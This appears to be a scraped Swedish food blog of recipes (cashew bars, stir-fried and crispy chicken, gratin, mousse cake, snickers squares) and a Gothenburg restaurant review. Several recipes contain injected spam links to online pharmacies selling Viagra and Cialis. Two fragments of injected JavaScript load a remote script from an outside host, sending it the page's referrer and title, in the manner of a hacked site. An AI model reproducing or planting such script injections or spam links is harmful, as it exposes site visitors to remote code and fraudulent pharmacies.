Cashewrutor med smak av apelsin och ingefära

bild10
För några dagar sedan fick jag provsmaka på dessa godbitar av min granne Anna. Nu har jag bakat dem för första gången och de smakar supergott!

Cashewrutor (ca 16 bars)
1 apelsin
4 dl cashewnötter
100 gr torkade aprikoser
1 msk färsk riven ingefära
150 gr mörk choklad (minst 70%)

Gör så här:

Riv skalet av apelsinen och ställ det åt sidan. Dela apelsinen och pressa ut saften (gärna i matberedare el juicecentrifug). Häll saften i matberedare, tillsätt nötter, aprikoser och ingefära och mixa till jämn smet. Forma smeten till en rektangel, ca 1 cm tjock. Smält chokladen i vattenbad och bred den över nötmassan. I receptet https://www.viagrasansordonnancefr.com/viagra-achat/ står det att man ska strö på apelsinskalet. Jag blandade skalet i degen istället. Förvara kallt. Går utmärkt att frysa!
BildaAA
A B
BCEFD
bild5
bild6
bild7bild8bild11bild12bild9

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Stir fried chicken with cashew nuts

2 - kopia
När jag var på semester i Thailand i julas gick jag på en matlagningskurs i Ao Nang som var så rolig.
Vanligtvis tar de ca 10 elever per klass men den dagen jag var anmäld var jag den enda anmälda så jag fick en privat matlagningskurs kan man säga. Så roligt och lärorikt och maten smakade så gott.
Då jag omöjligt kunde äta upp mina 5 rätter på plats fick jag med mig all mat inslagna i plastpåsar och burkar. Jag fick även med mig ett recepthäfte på all mat jag lagat på engelska med engelska mått.

Recept 2 personer
2 pieces of chicken breast (kycklingfiléer)
1 small https://www.viagrapascherfr.com/sildenafil-citrate-femme-life/ Onion (gul lök)
2-3 spring onion (salladslök)
1 dl cashewnuts (cashewnötter, osaltade)
Dried big chili (jag använde torkade chiliflingor från en asiatisk butik i stan)
2 cloves garlic (vitlöksklyftor som du skär i små bitar)

Enligt läraren kan du lägga i champinjoner, morötter och paprika om du vill laga rätten med mer grönsaker.

Seasoning/sås
4 tbsp oil
1 tbs ketchup
4 tbsp water
2 tbsp oyster sauce
2 tsp sugar
2 tbsp light soy sauce
4 drops black soy sauce

Omvandlingstabell
1 tbsp (tablespoon) = 1 msk = 15 ml
1 tsp (teaspoon) = 1 tsk = 5 ml

Gör så här:
Skär upp kycklingen in mindre bitar och skär löken i små båtar (klyftor) och salladslöken i mindre bitar. Vitlöken skär du i små bitar.

Stek upp kycklingen i lite olja ihop med vitlök och krydda med lite salt och vitpeppar.
Lägg i resten av grönsakerna förutom salladslök och fräs upp en stund. Lägg i såsen och rör om och
när allt är färdigstekt lägger du på färsk salladslök och cashewnötter. Servera rätten med jasminris och en sallad.

1 - kopia

Het, koreansk krispig kyckling

Här kommer ett mkt gott kycklingrecept som kommer från Jennie Walldéns bok ”Asiatiska smaker”.
1

Krispig kyckling medicdrugstore2015.com (4 portioner)

600 g kycklinglårfilé, i 3×2 cm bitar

Marinad

2 tsk ljus soja
1⁄2 msk risvinäger
1⁄2 tsk vitlök, skalad och riven
1⁄2 tsk ingefära, skalad och riven

Sås

1 1⁄2 msk ljus soja
4 msk mirin (eller 2 msk sött vitt vin och 2 msk vatten)
3 msk risvinäger
2 msk gochujang (eller ketchup för en mild rött)
4 msk flytande honung
3 msk muscovadosocker eller farinsocker
2 tsk vitlök, skalad och riven
2 tsk ingefära, skalad och riven
1 msk rostade vita sesamfrön
1 dl Maizena majsstärkelse
1⁄2 liter rapsolja till fritering
4

Gör såhär:

1. Blanda ihop marinaden och tillsätt kycklingen. Ställ åt sidan.
2. Blanda alla ingredienserna till såsen och låt koka i 4–5 minuter. Dra av från plattan.
3. Vänd ner kycklingen i majsstärkelsen. Blanda väl så att alla bitar täcks av stärkelsen.
4. Värm oljan i en wok eller kastrull till 180 grader (eller till en brödbit blir gyllene på mindre än 1 minut i oljan).
5. Dela upp kycklingen i tre lika stora högar. Lägg ner en del kyckling i taget i den heta oljan, ta upp och fritera sedan de återstående två delarna för sig. Detta för att kycklingen ska friteras, inte bli avkyld och koka. Fritera i 1–2 minuter till gyllene. Låt rinna av på tjockt lager hushållspapper.
6. När all kyckling är friterad, upprepa friteringen en gång tills kycklingen är gyllene och frasig. Lägg att torka på nytt hushållspapper.
7. Värm upp såsen, lägg ner kycklingbitarna och blanda om väl så att all kyckling är täckt av sås. Häll över sesamfrön och servera genast med kokt ris och en sallad.

7
5
8
6

Köttfärsgratäng

1Här kommer ett recept på en fräsch köttfärsgratäng.

Recept 4 personer

1/2 gul lök
2 vitlöksklyftor
500 gram nötfärs
1 tsk torkad oregano
1 tsk torkad timjan
1 tsk torkad basilika
1 tsk salt
1 förp krossade tomater
1/2 blomkålshuvud
1/2 Zucchini
1 förpackning mozzarella

Gör så här:
Sätt ugnen på 200 grader.
Skala och finhacka lök och vitlök. Hetta upp en stekpanna med olja och bryn löken utan att den tar färg. Tillsätt färsen och bryn den så att den blir genomstekt. Krydda med oregano, timjan, basilika och salt. Tillsätt krossade tomater och låt den http://www.buy-trusted-tablets.com puttra ihop snabbt.
Skölj och skiva (med mandolin) blomkålen och grovriv zucchinin. Krama ur vätskan från zucchinin. Blanda ihop köttfärssåsen med blomkål och zucchini i en ugnsfast form. Toppa med skivad mozzarella och sätt i ugnen ca 15-20 min.

Servera gratängen med en sallad.
4
3
2
1

Chokladmoussetårta

1
Receptet på den här moussetårtan hittade jag på Jennys matblogg.

Om du tycker om choklad så är det här rätt tårta för dig.

Receptet kommer här.

Botten:
200 gram cookies ( te.x Maryland )
80 gram smält smör

Mousse:
3 gelatinblad
400 gram mjölkchoklad
250 gram mascarpone
500 gram philadelphiaost
2 1/2 dl vispgrädde
2 msk vatten
1 rulle center

Topping:
färska hallon
1 rulle center

Gör så här:
Mixa kakorna till smulor i en mixer och rör ihop med det smälta smöret.
Pressa ut blandningen i en rund springform med avtagbara kanter. ( cirka 22-24 cm) Lägg gelatinbladen i kallt vatten.
Smält chokladen försiktigt i micron eller över vattenbad ( den ska inte bli för varm )
Vispa ihop mascarpone& färskostmed en elvisp i en bunke. Vispa grädden tills den är ordentligt fast och bildar stadiga toppar. Vänd ner grädden tillsammans med chokladen i mascarponeblaningen, vänd försiktigt med en slickepott tills allt är väl blandat.
Krama ur gelantinbladen och värm dem tillsammans med 2 msk vatten i en kastrull, de ska precis bara smälta. Rör ner detta i smeten, och rör kraftigt så att allt blandar sig väl. Grovhacka ner centern och blanda om fördela sedan ut jämt över kakbotten. Förvara gärna Centern i kylskåpet innan du grovhackar den.
Låt stå och svalna i kylskåpet i minst 5 timmar, men gärna över natten. Det går även att förvara tårtan i frysen.

Toppa med center och hallon.
AA - kopiaKaka
DD
CC - kopia
BB - kopia
EE
2
3

Goda bars

IMG_7905

Bars 7 st
Recept
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade jordnötter

Topping
Mörk choklad

1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Forma till en platt avlång kaka och lägg i frysen för att stelna. Skär upp ca 7 avlånga bars och pensla på med mörk choklad och valfri topping.
Jag använde torkade jordgubbar och kokos. Du kan förvara dina bars i frysen också.

IMG_7931IMG_7932

Sautérad kyckling med gräslöksås

4 kycklingbröst
1 tsk salt
1/4 cup vetemjöl
3 tsk olivolja
2 stora charlottenlök (finhackad)
1/2 cup vitt vin
400 gram kycklingbuljong
1/3 cup lätt creme fraiche
1 tsk dijon senap
1/2 cup hackad gräslök

Gör så här: Platta ut kycklingbrösten så de blir riktigt platta. Krydda med salt. Doppa kycklingbrösten i mjölet. Hetta upp lite olivolja i en stekpanna och stek kycklingen ca 2 min per sida tills den har fått färg. Lägg över kycklingen på en tallrik för att vila. Häll i resten av olja i stekpannan och häll i löken och stek tills löken fått färg. Häll i resten av mjölet i stekpannan. Häll i vin och buljong och koka upp. Lägg tillbaks kycklingen och låt koka upp ca 5-6 minuter. Häll i creme fraiche och senap och precis innan servering lägger du i den hackade gräslöken. Servera med grönsaker och en god sallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kycklinggryta

bild1

Här kommer ett recept på en fräsch och god kycklinggryta. Jag använde kokosmjölk. Kokosmjölken lät jag stå i kylen med botten uppåt. Vid användning gjorde jag hål i botten av burken, hällde ut kokosvattnet och öppnade burken från toppen och hällde kokosmjölken i grytan.  När ni häller bort vattnet får ni en krämigare sås. Receptet hittade jag här.

Kycklinggryta (paleo) (2-3 personer)

2 kycklingfiléer
1 burk kokosgrädde/extra creamy kokosmjölk
2 klyftor vitlök
1 gul lök
1-2 msk jordnötssmör (green choice crunchy)
chiliflingor (kan uteslutas)
curry
svartpeppar
salt

Hacka och stek lök och vitlök. Strimla kycklingen och stek den med löken, ha på salt och peppar. Häll på kokosgrädden och låt koka upp. Ha sedan i jordnötssmör och curry efter behag ( ca 2-3 tsk). Låt puttra en stund och smaka av. Tillsätt därefter chili och låt koka ihop till en krämigare sås. Smaka av med salt. Servera till grönsaker.

bild5

bild8bild6bild7

bild9bild10bild11bild13bild14

bild15bild2bild3

Project, Göteborg

Igår besökte jag och en kompis en nyöppnad Bistro Project på Södra Vägen 45 med fokus på kvalitet och trevligt bemötande.

1

2

Ovanstående foton har jag lånat från deras hemsida.

18

16
Maten smakade riktigt gott och vinerna kom från Frankrike, Spanien och Australien.

Varje maträtt och vin presenterades in i minsta detalj av den trevliga personalen.

Nedan ser ni foton från gårdagens middag.

12

11

9

8

15

14
Jag åt deras 3-rätters meny med tillhörande vinpaket

Rostad jordärtskockssoppa

10

6

21
Flankstek med Purjolök och svamp
1

4

1
3

20
Frusen chokladmousse med, kärnmjölksglass och hasselnötter
B

A

22

17

5

Jag rekommenderar att boka bord om ni tänker äta på ”Project”.

19

Snickersrutor

IMG_3409
Här kommer ett supergott recept på goda och nyttiga snickersrutor utan tillsatt vitt socker, och gluten. Receptet hittade jag här.

Snickersrutor
Botten.
1,5 dl mandlar
10 färska dadlar
3 msk jordnötssmör
1 msk carob (går att utesluta)
1 näve salta nötter

Gör så här: Kärna ur dadlarna och kör i matberedare tillsammans med mandlar, jordnötssmör och carob. Klä cialisfrance24.com en brödform med plastfolie och tryck i degen och jordnötterna i botten.

Kolafyllning
8-10 färska dadlar
1 tsk vaniljextrakt

Gör så här: Kärna ur dadlarna och mixa med vaniljextrakt och vatten. Tillsätt lite vatten i taget tills det blir en kolalik konsistens. Bred kolasmeten på botten.

Topping
75 gram choklad (70%procentig)
en klick kokosolja

Gör så här: Smält chokladen och rör i kokosoljan. Man kan hoppa över kokosolja men då blir chokladen väldigt hård när du ska ska skära upp bitarna. Bred ut chokladen och ställ i kylen.

När chokladen stelnat, lyft ur kakan och skär i lagom bitar. Förvara i kylskåp.

IMG_3413IMG_3415IMG_3416IMG_3410IMG_3407